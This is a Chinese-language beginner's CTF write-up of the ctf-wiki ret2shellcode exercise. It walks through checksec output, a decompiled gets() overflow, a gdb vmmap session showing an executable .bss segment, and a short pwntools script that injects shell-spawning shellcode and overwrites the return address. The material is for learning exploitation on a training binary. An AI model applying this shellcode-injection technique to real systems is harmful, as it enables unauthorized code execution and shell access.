pwn基础之ctfwiki-栈溢出-基础ROP-ret2shellcode

---

前言

二进制小白的学习记录，是自己写的第二篇文章，相较于第一篇文章我也做了一些改进，希望会越来越好。也希望二进制大佬们及时斧正文章的错误。

---

原理

ret2shellcode，即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码，常见的功能主要是获取目标系统的 shell。一般来说，shellcode 需要我们自己填充。这其实是另外一种典型的利用方法，即此时我们需要自己去填充一些可执行的代码。

在栈溢出的基础上，要想执行 shellcode，需要对应的 binary 在运行时，shellcode 所在的区域具有可执行权限。

ret2shellcode

挖掘漏洞

首先我们再ubuntu下利用checksec命令去检查可执行文件的保护情况

    ret2shellcode checksec ret2shellcode
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

发现文件并没有开启任何的保护，源程序存在可读，可写，可执行段。那么我们用ida反编译器来分析一下源程序。

我们按照分析的流程首先打开main函数并查看其源代码，main函数源代码如下：

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

在源代码中我们看到了gets函数，gets函数是一个有关栈溢出的危险函数，此函数只接受输入但不对接受内容的长度进行校验，这就形成了栈溢出。

但是这次多的一个是将get到的内容复制到buf2，那么思路来了。因为没有开启NX保护(堆栈不可执行保护)，大部分字段应该有可执行权限的，那么我们可以写入一段shellcode复制到buf2段去执行。

这样的话需要我们确认buf2段是否有执行权限，以及获取buf2的地址用来覆盖栈的返回地址。

利用漏洞

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

发现buf2是在.bss段地址为0x0804A080
接下来就用gdb下的peda插件去动态调试一下程序。

gef➤  b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤  r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 

Breakpoint 1, main () at ret2shellcode.c:8
8       setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
      6  int main(void)
      7  {
 →    8      setvbuf(stdout, 0LL, 2, 0LL);
      9      setvbuf(stdin, 0LL, 1, 0LL);
     10  
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  vmmap 
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx 
0xf7fd3000 0xf7fd5000 0x00000000 rwx 
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx 
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

利用vmmap就可以查看.bss段的可执行权限的分布。buf2的地址为0x0804A080，观察可知buf2存在于0x0804a000——0x0804b000段内。根据显示rwx，表示该段可读、可写、可执行。

0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

那么来说我们在上文所提到的思路可行。

计算偏移量的方法与本人上一篇文章ret2text方法一致，也可以说ret2shellcode是ret2text的进阶版本，以后的文章还会不断进阶。

利用脚本（exp）

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804A080
payload = shellcode.ljust(112, 'A') + p32(buf2_addr)

sh.sendline(payload)
sh.interactive()

---

总结

总的来说，这篇文章将我初学时所遇到的问题加以解释，希望可以帮助到入门大佬。这些知识点知识我们在学习道路上的星星点点，还需要我们将知识汇成大海啊。

参考文章链接: https://ctf-wiki.org/pwn/linux/stackoverflow/basic-rop/.